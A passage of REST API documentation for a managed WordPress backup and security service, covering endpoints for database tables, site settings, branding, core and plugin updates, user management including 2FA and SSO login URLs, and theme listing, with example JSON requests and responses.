- `name:contains` matches table names case-insensitively
- Row and size filter values must be non-negative integers
- Example: `filters[name:contains]=wp_`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `name`, `rows`, `size`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `name,asc`
- Example: `sort=size,desc`

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Snapshot ID. When omitted, the latest completed backup snapshot is used.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned database tables.
- `filters` (query, optional, object) — Filters applied to returned database tables.

Successful responses:

- **200** — Database tables were returned.

```json
{
  "tables": [
    {
      "name": "wp_options",
      "rows": 100,
      "size": 4096,
      "created_at": "2026-01-09T09:06:43Z",
      "status": "synced"
    },
    {
      "name": "wp_posts",
      "rows": 50,
      "size": 8192,
      "created_at": "2026-01-09T09:06:43Z",
      "status": "skipped"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show table stats

`GET /sites/{site_id}/tables/stats`  
Operation ID: `showSiteTableStats`

Returns database table stats for one completed backup snapshot.

Use this to compare the tables included in future backups with the
tables that are skipped.

If `snapshot_id` is omitted, the latest completed backup snapshot is
used.

A successful response returns `tables` stats split into `total`,
`synced`, and `skipped`.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `snapshot_id` (query, optional, string) — Snapshot ID. When omitted, the latest completed backup snapshot is used.

Successful responses:

- **200** — Table stats were returned.

```json
{
  "stats": {
    "tables": {
      "total": 42,
      "synced": 30,
      "skipped": 12
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Mark tables for sync

`POST /sites/{site_id}/tables/sync`  
Operation ID: `syncSiteTables`

Marks one or more database table names for inclusion in future backups.

Use this when a previously skipped table should be backed up again.

Submitted table names are checked against the latest completed backup
snapshot. Duplicate names are processed once after leading and trailing
whitespace is ignored.

Partial success is possible when some table names are marked for sync
and others fail validation. Failed table names are returned inside
`sync.errors`.

A successful response returns table names marked for sync, failed table
names, and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `tables`

```json
{
  "tables": [
    "wp_posts",
    "wp_options"
  ]
}
```

Successful responses:

- **200** — Table sync request was processed, with failed table names returned in `sync.errors`.

```json
{
  "sync": {
    "tables": [
      "wp_posts",
      "wp_options"
    ],
    "errors": []
  },
  "meta": {
    "requested": 2,
    "succeeded": 2,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Mark tables to skip

`POST /sites/{site_id}/tables/skip`  
Operation ID: `skipSiteTables`

Marks one or more database table names to exclude from future backups.

Use this when cache, temporary, or otherwise unnecessary tables should
stop being backed up.

Submitted table names are checked against the latest completed backup
snapshot. Duplicate names are processed once after leading and trailing
whitespace is ignored.

Partial success is possible when some table names are marked to skip
and others fail validation. Failed table names are returned inside
`skip.errors`.

A successful response returns table names marked to skip, failed table
names, and counts.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `tables`

```json
{
  "tables": [
    "wp_cache",
    "wp_temp_logs"
  ]
}
```

Successful responses:

- **200** — Table skip request was processed, with failed table names returned in `skip.errors`.

```json
{
  "skip": {
    "tables": [
      "wp_cache",
      "wp_temp_logs"
    ],
    "errors": []
  },
  "meta": {
    "requested": 2,
    "succeeded": 2,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Site Settings

#### Show site settings

`GET /sites/{site_id}/settings`  
Operation ID: `showSiteSettings`

Returns site settings for the selected site.

Use this to check whether WordPress auto-updates and WooCommerce
database upgrades are currently enabled for the site.

A successful response returns both settings.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Site settings returned successfully.

```json
{
  "settings": {
    "wp_auto_updates": {
      "enabled": true
    },
    "woocommerce_db_upgrade": {
      "enabled": true
    }
  }
}
```

Errors: 401, 403, 404, 429

#### Update site settings

`POST /sites/{site_id}/settings/update`  
Operation ID: `updateSiteSettings`

Updates one or both site settings for the selected site: WordPress
auto-updates and WooCommerce database upgrades.

Use this when either setting needs to change for a site.

A successful response returns both settings after the update.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `settings`

```json
{
  "settings": {
    "wp_auto_updates": {
      "enabled": false
    },
    "woocommerce_db_upgrade": {
      "enabled": true
    }
  }
}
```

Successful responses:

- **200** — Site settings updated successfully.

```json
{
  "settings": {
    "wp_auto_updates": {
      "enabled": false
    },
    "woocommerce_db_upgrade": {
      "enabled": true
    }
  }
}
```

Errors: 400, 401, 403, 404, 429

### Site Plugin Branding

#### Show site plugin branding

`GET /sites/{site_id}/whitelabel/plugin-branding`  
Operation ID: `showSitePluginBranding`

Returns how your account's plugin is displayed in WordPress admin for
the selected site.

Use this to review whether the site uses default plugin details,
inherits account branding, hides the plugin, or shows a custom displayed
name, description, and author details.

When `type` is `same_as_account`, the site inherits account-level plugin
branding and the response includes the final inherited details. If the
inherited account branding hides the plugin, `name`, `description`,
`author.name`, and `author.url` are `null` while `type` remains
`same_as_account`.

A successful response returns the site plugin branding.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Site plugin branding returned successfully.

```json
{
  "plugin_branding": {
    "type": "same_as_account",
    "name": "Site Guardian",
    "description": "Managed WordPress security and backup",
    "author": {
      "name": "Acme Agency",
      "url": "https://example.com"
    }
  }
}
```

Errors: 401, 403, 404, 429

#### Update site plugin branding

`POST /sites/{site_id}/whitelabel/plugin-branding/update`  
Operation ID: `updateSitePluginBranding`

Updates how your account's plugin is displayed in WordPress admin for
the selected site.

Use this when the site should use default plugin details, inherit
account branding, hide the plugin, or show a custom displayed name,
description, and author details.

The site's plan must support Plugin Branding.

A successful response returns the site plugin branding after the update.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `plugin_branding`

```json
{
  "plugin_branding": {
    "type": "default"
  }
}
```

Successful responses:

- **200** — Site plugin branding updated successfully.

```json
{
  "plugin_branding": {
    "type": "custom",
    "name": "Site Guardian",
    "description": "Managed WordPress security and backup",
    "author": {
      "name": "Acme Agency",
      "url": "https://example.com"
    }
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### Site WP Login Branding

#### Show site WordPress login branding

`GET /sites/{site_id}/whitelabel/wp-login`  
Operation ID: `showSiteWpLogin`

Returns how the WordPress login screen is displayed for the selected
site.

Use this to review whether the site uses the standard WordPress login
screen, inherits account-level WP Login Branding, or uses its own login
branding.

`type: default` means the standard WordPress login screen is active.
`type: same_as_account` means the response includes the final inherited
values from account-level WP Login Branding.

A successful response returns the site WP Login branding.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Successful responses:

- **200** — Site WP Login branding returned successfully.

```json
{
  "wp_login": {
    "type": "default",
    "logo_file": null,
    "label": null,
    "error_message": null,
    "tooltip": null,
    "sender_email": null
  }
}
```

Errors: 401, 403, 404, 429

#### Update site WordPress login branding

`POST /sites/{site_id}/whitelabel/wp-login/update`  
Operation ID: `updateSiteWpLogin`

Updates how the WordPress login screen is displayed for the selected
site.

Use this when the site should use the standard WordPress login screen,
inherit account-level WP Login Branding, or use its own login logo,
page label, error message, help text, and sender email.

Custom updates replace the saved site-specific login branding.

The site's plan must support WP Login Branding, the site must be the
primary site, and the site plugin version must be 1.4 or higher.

A successful response returns the site WP Login branding after the
update.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.

Request body (required): `application/json`

Required fields: `wp_login`

```json
{
  "wp_login": {
    "type": "default"
  }
}
```

Successful responses:

- **200** — Site WP Login branding updated successfully.

```json
{
  "wp_login": {
    "type": "default",
    "logo_file": null,
    "label": null,
    "error_message": null,
    "tooltip": null,
    "sender_email": null
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

### WordPress Core

#### List WordPress core status

`GET /sites/wp/wordpress-core`  
Operation ID: `listSitesWpCore`

Returns WordPress core status for sites available to you. Each site
includes the installed version, latest available version, update
availability, and whether core updates are locked.

Use this list to review core update readiness or find site IDs for lock
and unlock requests.

If `site_ids` is omitted, all sites available to you are included.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `update_available`, `locked`
- Supported operators:
  - `eq`: `update_available`, `locked`
- Boolean filters accept `true` or `false`
- Example: `filters[update_available:eq]=true`

A successful response returns a paginated list of WordPress core status
by site.

Parameters:

- `site_ids` (query, optional, array<string>) — Site IDs to include. Omit this parameter to include all sites available to you.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `include_vulnerabilities` (query, optional, boolean) — Set to `true` to include optional vulnerability details for supported site plans.
- `filters` (query, optional, object) — Filters applied to returned WordPress core status entries.

Successful responses:

- **200** — WordPress core status was returned.

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "last_sync_at": "2026-01-12T08:20:00Z",
      "wp": {
        "core": {
          "current_version": "6.4.2",
          "latest_version": "6.4.3",
          "update_available": true,
          "locked": false
        }
      }
    },
    {
      "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708",
      "last_sync_at": "2026-01-12T09:15:00Z",
      "wp": {
        "core": {
          "current_version": "6.4.3",
          "latest_version": "6.4.3",
          "update_available": false,
          "locked": true
        }
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Lock WordPress core updates

`POST /sites/wp/wordpress-core/lock`  
Operation ID: `lockSitesWpCore`

Locks WordPress core updates for submitted sites.

Use this when selected sites should not receive WordPress core updates.

Submitted sites must be available to you.

A successful response returns the site IDs where core updates were
locked.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    }
  ]
}
```

Successful responses:

- **200** — WordPress core updates were locked for the submitted sites.

```json
{
  "lock": {
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ]
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Unlock WordPress core updates

`POST /sites/wp/wordpress-core/unlock`  
Operation ID: `unlockSitesWpCore`

Removes the WordPress core update lock from submitted sites.

Use this when selected sites should be eligible for WordPress core
updates again.

Submitted sites must be available to you.

A successful response returns the site IDs where core updates were
unlocked.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    }
  ]
}
```

Successful responses:

- **200** — WordPress core updates were unlocked for the submitted sites.

```json
{
  "unlock": {
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ]
  }
}
```

Errors: 400, 401, 403, 422, 429

### WordPress Plugins

#### List WordPress plugins

`GET /sites/wp/plugins`  
Operation ID: `listSitesWpPlugins`

Returns installed WordPress plugins for sites available to you. Each site
includes plugin version, update availability, activation state, package
availability, update lock status, vulnerability status, and malicious
classification status.

Use this list to review plugin inventory, find plugin `filename` values
for plugin actions, or filter by plugin state.

If `site_ids` is omitted, all sites available to you are included.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `database_update_required`, `active`, `network_wide`, `package_available`, `vulnerable`, `locked`, `malicious`
- Supported operators:
  - `contains`: `name`
  - `eq`: `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `database_update_required`, `active`, `network_wide`, `package_available`, `vulnerable`, `locked`, `malicious`
- Boolean filters accept `true` or `false`
- Example: `filters[name:contains]=akismet`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `database_update_required`, `active`, `network_wide`, `package_available`, `vulnerable`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `name,asc`
- Example: `sort=name,asc`

A successful response returns a paginated list of WordPress plugins by
site.

Parameters:

- `site_ids` (query, optional, array<string>) — Site IDs to include. Omit this parameter to include all sites available to you.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `include_vulnerabilities` (query, optional, boolean) — Set to `true` to include optional vulnerability details for supported site plans.
- `sort` (query, optional, string) — Sort order for returned WordPress plugins.
- `filters` (query, optional, object) — Filters applied to returned WordPress plugins.

Successful responses:

- **200** — WordPress plugins were returned.

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "last_sync_at": "2026-01-12T08:20:00Z",
      "wp": {
        "plugins": [
          {
            "name": "Akismet Anti-spam",
            "slug": "akismet",
            "filename": "akismet/akismet.php",
            "current_version": "5.3.1",
            "latest_version": "5.3.3",
            "update_available": true,
            "database": {
              "current_version": "1.0",
              "latest_version": "1.1",
              "update_required": false
            },
            "active": true,
            "network_wide": false,
            "package_available": true,
            "locked": false,
            "vulnerable": false,
            "malicious": false
          }
        ]
      }
    },
    {
      "id": "0f3a1c7b2d4e6f8091a2b3c4d5e6f708",
      "last_sync_at": "2026-01-12T09:15:00Z",
      "wp": {
        "plugins": [
          {
            "name": "Yoast SEO",
            "slug": "wordpress-seo",
            "filename": "wordpress-seo/wp-seo.php",
            "current_version": "22.0",
            "latest_version": "22.0",
            "update_available": false,
            "database": {
              "current_version": "2.0",
              "latest_version": "2.0",
              "update_required": false
            },
            "active": true,
            "network_wide": false,
            "package_available": true,
            "locked": true,
            "vulnerable": false,
            "malicious": false
          }
        ]
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Install plugins

`POST /sites/wp/plugins/install`  
Operation ID: `installSitesWpPlugins`

Starts a background task to install WordPress.org plugins on submitted
sites.

Use this when plugins available from WordPress.org should be installed
on selected sites.

Submitted sites must be available to you.

A successful response returns the task created for plugin installation.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "plugins": [
        {
          "slug": "akismet",
          "name": "Akismet Anti-spam",
          "version": "5.3.3",
          "package": "https://downloads.wordpress.org/plugin/akismet.5.3.3.zip"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Plugin install task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Upload plugins

`POST /sites/wp/plugins/upload`  
Operation ID: `uploadSitesWpPlugins`

Uploads plugin ZIP files and starts a background task to install them on
submitted sites.

Use this when selected sites need plugins installed from ZIP packages
you upload.

The request must use `multipart/form-data`. Submitted sites must be
available to you. Each uploaded file must be a plugin ZIP archive no
larger than 50 MB.

A successful response returns the task created for plugin upload.

Request body (required): `multipart/form-data`

Required fields: `sites`, `plugins`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    }
  ],
  "plugins": [
    {
      "file": "plugin.zip"
    }
  ]
}
```

Successful responses:

- **200** — Plugin upload task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Activate plugins

`POST /sites/wp/plugins/activate`  
Operation ID: `activateSitesWpPlugins`

Starts a background task to activate installed plugins on submitted
sites.

Use this when plugins should start running on selected sites.

Use `filename` values from the plugin list. Each `filename` must belong
to a plugin installed on the selected site. Submitted sites must be
available to you.

A successful response returns the task created for plugin activation.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "plugins": [
        {
          "filename": "akismet/akismet.php"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Plugin activation task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Deactivate plugins

`POST /sites/wp/plugins/deactivate`  
Operation ID: `deactivateSitesWpPlugins`

Starts a background task to deactivate installed plugins on submitted
sites.

Use this when plugins should stop running on selected sites without
being removed.

Use `filename` values from the plugin list. Each `filename` must belong
to a plugin installed on the selected site. Submitted sites must be
available to you.

A successful response returns the task created for plugin deactivation.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "plugins": [
        {
          "filename": "akismet/akismet.php"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Plugin deactivation task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Delete plugins

`POST /sites/wp/plugins/delete`  
Operation ID: `deleteSitesWpPlugins`

Starts a background task to delete installed plugins from submitted
sites.

Use this when plugins should be removed from selected sites.

Use `filename` values from the plugin list. Each `filename` must belong
to a plugin installed on the selected site. Submitted sites must be
available to you.

A successful response returns the task created for plugin deletion.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "plugins": [
        {
          "filename": "akismet/akismet.php"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Plugin deletion task was created.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Lock plugin updates

`POST /sites/wp/plugins/lock`  
Operation ID: `lockSitesWpPlugins`

Locks updates for installed plugins on submitted sites.

Use this when specific plugins should stay on their current version.

Use `filename` values from the plugin list. Each `filename` must belong
to a plugin installed on the selected site. Submitted sites must be
available to you.

A successful response returns the site IDs where plugin updates were
locked.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "plugins": [
        {
          "filename": "akismet/akismet.php"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Plugin updates were locked for the submitted sites.

```json
{
  "lock": {
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ]
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Unlock plugin updates

`POST /sites/wp/plugins/unlock`  
Operation ID: `unlockSitesWpPlugins`

Removes update locks from installed plugins on submitted sites.

Use this when previously locked plugins should be allowed to update
again.

Use `filename` values from the plugin list. Each `filename` must belong
to a plugin installed on the selected site. Submitted sites must be
available to you.

A successful response returns the site IDs where plugin updates were
unlocked.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "plugins": [
        {
          "filename": "akismet/akismet.php"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — Plugin updates were unlocked for the submitted sites.

```json
{
  "unlock": {
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ]
  }
}
```

Errors: 400, 401, 403, 422, 429

### WordPress Users

#### List WordPress users

`GET /sites/wp/users`  
Operation ID: `listSitesWpUsers`

Returns WordPress user accounts for sites available to you. Each site
includes `wp_object_id`, username, email, display name, role, 2FA
status, and default login state.

Use this list to review WordPress users, find `wp_object_id` values for
delete, role, password, 2FA, default login, or SSO requests, or filter
by role and 2FA status.

If `site_ids` is omitted, all sites available to you are included.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `username`, `email`, `name`, `role`, `two_fa_status`
- Supported operators:
  - `contains`: `username`, `email`, `name`
  - `eq`: `role`
  - `in`: `two_fa_status`
- Allowed `role` values: `administrator`, `editor`, `author`, `contributor`, `subscriber`
- Allowed `two_fa_status` values: `not_applied`, `pending`, `applied`
- `filters[two_fa_status:in][]` must be sent as an array
- Example: `filters[role:eq]=administrator`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `username`, `email`, `name`, `role`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `username,asc`
- Example: `sort=username,asc`

A successful response returns a paginated list of WordPress users by
site.

Parameters:

- `site_ids` (query, optional, array<string>) — Site IDs to include. Omit this parameter to include all sites available to you.
- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `sort` (query, optional, string) — Sort order for returned WordPress users.
- `filters` (query, optional, object) — Filters applied to returned WordPress users.

Successful responses:

- **200** — WordPress users were returned.

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "last_sync_at": "2026-01-12T08:20:00Z",
      "wp": {
        "users": [
          {
            "wp_object_id": 42,
            "username": "admin",
            "email": "admin@example.com",
            "name": "Ada Lovelace",
            "role": "administrator",
            "two_fa_status": "applied",
            "default_login": true
          }
        ]
      }
    },
    {
      "id": "2ad8f92c4b6e1a7d3c5f9b0e8a1d6c4f",
      "last_sync_at": "2026-01-11T12:15:00Z",
      "wp": {
        "users": []
      }
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Create WordPress users

`POST /sites/wp/users`  
Operation ID: `createSitesWpUsers`

Starts a background task to create WordPress users on submitted sites.

Use this when new WordPress user accounts should be added to selected
sites.

Submitted sites must be available to you.

A successful response returns the task created for user creation.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "users": [
        {
          "username": "neweditor",
          "password": "secretpass123",
          "email": "neweditor@example.com",
          "first_name": "New",
          "last_name": "Editor",
          "role": "editor"
        }
      ]
    }
  ]
}
```

Successful responses:

- **201** — A WordPress user creation task was started.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T12:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Delete WordPress users

`POST /sites/wp/users/delete`  
Operation ID: `deleteSitesWpUsers`

Starts a background task to delete WordPress users from submitted sites.

Use this when WordPress user accounts should be removed from selected
sites.

Submitted sites must be available to you. Each `wp_object_id` must
belong to a WordPress user on the selected site. Each `assign_to` value,
when sent, must also belong to a WordPress user on that site.

For each user, send exactly one of `assign_to` or `delete_content` set
to `true`. Requests that would remove the last administrator or the
only user on a site are rejected.

A successful response returns the task created for user deletion.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "users": [
        {
          "wp_object_id": 42,
          "assign_to": 7
        },
        {
          "wp_object_id": 43,
          "delete_content": true
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — A WordPress user delete task was started.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T12:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Update WordPress user roles

`POST /sites/wp/users/update-roles`  
Operation ID: `updateSitesWpUserRoles`

Starts a background task to update WordPress user roles on submitted
sites.

Use this when WordPress users should receive a different role on
selected sites.

Submitted sites must be available to you. Each `wp_object_id` must
belong to a WordPress user on the selected site.

Requests that would demote the last administrator on a site are
rejected.

A successful response returns the task created for role updates.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "users": [
        {
          "wp_object_id": 42,
          "role": "editor"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — A WordPress user role update task was started.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T12:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Update WordPress user passwords

`POST /sites/wp/users/update-passwords`  
Operation ID: `updateSitesWpUserPasswords`

Starts a background task to update WordPress user passwords on submitted
sites.

Use this when WordPress users should receive new passwords on selected
sites.

Submitted sites must be available to you. Each `wp_object_id` must
belong to a WordPress user on the selected site.

When `send_email` is sent, it applies to every submitted password
change.

A successful response returns the task created for password updates.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "override_lock": false,
  "send_email": true,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "users": [
        {
          "wp_object_id": 42,
          "new_password": "newpass123"
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — A WordPress user password update task was started.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T12:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Manage WordPress user 2FA

`POST /sites/wp/users/manage-2fa`  
Operation ID: `manageSitesWpUser2fa`

Starts a background task to enable, disable, or reset WordPress 2FA for
submitted users.

Use this when WordPress users should have 2FA enabled, disabled, or
reset on selected sites.

Submitted sites must be available to you. Each `wp_object_id` must
belong to a WordPress user on the selected site.

Send `action` as `enable`, `disable`, or `reset`.

A successful response returns the task created for 2FA changes.

Request body (required): `application/json`

Required fields: `action`, `sites`

```json
{
  "action": "enable",
  "send_email": true,
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "users": [
        {
          "wp_object_id": 42
        }
      ]
    }
  ]
}
```

Successful responses:

- **200** — A WordPress user 2FA task was started.

```json
{
  "task": {
    "id": "7d3f8a2e1c4b9f6d5e8a3c7f2b1d4e6a",
    "status": "queued",
    "created_at": "2026-01-12T12:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Set default WordPress login user

`POST /sites/wp/users/set-default`  
Operation ID: `setDefaultSitesWpUsers`

Sets the default WordPress login user for submitted sites.

Use this when SSO login should use a specific WordPress user on each
selected site.

Submitted sites must be available to you. Each `wp_object_id` must
belong to a WordPress user on the selected site.

A successful response returns the site IDs where the default login user
was set and update counts.

Request body (required): `application/json`

Required fields: `sites`

```json
{
  "sites": [
    {
      "id": "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1",
      "wp_object_id": 42
    }
  ]
}
```

Successful responses:

- **200** — Default WordPress login users were set.

```json
{
  "set_default": {
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ],
    "errors": []
  },
  "meta": {
    "requested": 1,
    "succeeded": 1,
    "failed": 0
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Generate WordPress SSO login URL

`GET /sites/{site_id}/wp/users/sso-login-url`  
Operation ID: `getSiteWpUserSsoLoginUrl`

Generates a temporary WordPress admin SSO login URL for the selected site.

Use this when you need to open WordPress admin for a site without
entering WordPress credentials.

Send a `wp_object_id` from the WordPress user list to log in as that
user. Omit `wp_object_id` to use an eligible administrator. Non-blank
`wp_object_id` values must be integers.

A successful response returns a temporary SSO login URL.

Parameters:

- `site_id` (path, required, string) — Site ID returned in site lists and details.
- `wp_object_id` (query, optional, integer) — WordPress user object ID from the user list. Omit this parameter to use an eligible administrator.

Successful responses:

- **200** — A WordPress SSO login URL was generated.

```json
{
  "url": "https://example.com/wp-admin/?bv_auto_login=token"
}
```

Errors: 400, 401, 403, 404, 429

### WordPress Themes

#### List WordPress themes

`GET /sites/wp/themes`  
Operation ID: `listSitesWpThemes`

Returns installed WordPress themes for sites available to you. Each site
includes theme version, update availability, active state, child-theme
state, package availability, vulnerability status, and update lock
status.

Use this list to review theme inventory, find `filename` values for
activation, deletion, lock, or unlock requests, or filter by theme
state.

If `site_ids` is omitted, all sites available to you are included.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `active`, `active_child`, `package_available`, `vulnerable`, `locked`
- Supported operators:
  - `contains`: `name`
  - `eq`: `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `active`, `active_child`, `package_available`, `vulnerable`, `locked`
- Boolean filters accept `true` or `false`
- Example: `filters[name:contains]=twenty`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `name`, `slug`, `filename`, `current_version`, `latest_version`, `update_available`, `active`, `active_child`, `package_available`, `vulnerable`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `name,asc`
- Example: `sort=name,asc`

A successful response returns a paginated list of WordPress themes by
site.

Parameters:

- `site_ids` (query, optional, array<string>) — Site IDs to include. Omit this parameter to include all sites available to you.
- `page` (query, optional, integer) — Page number. Defaults to 1.
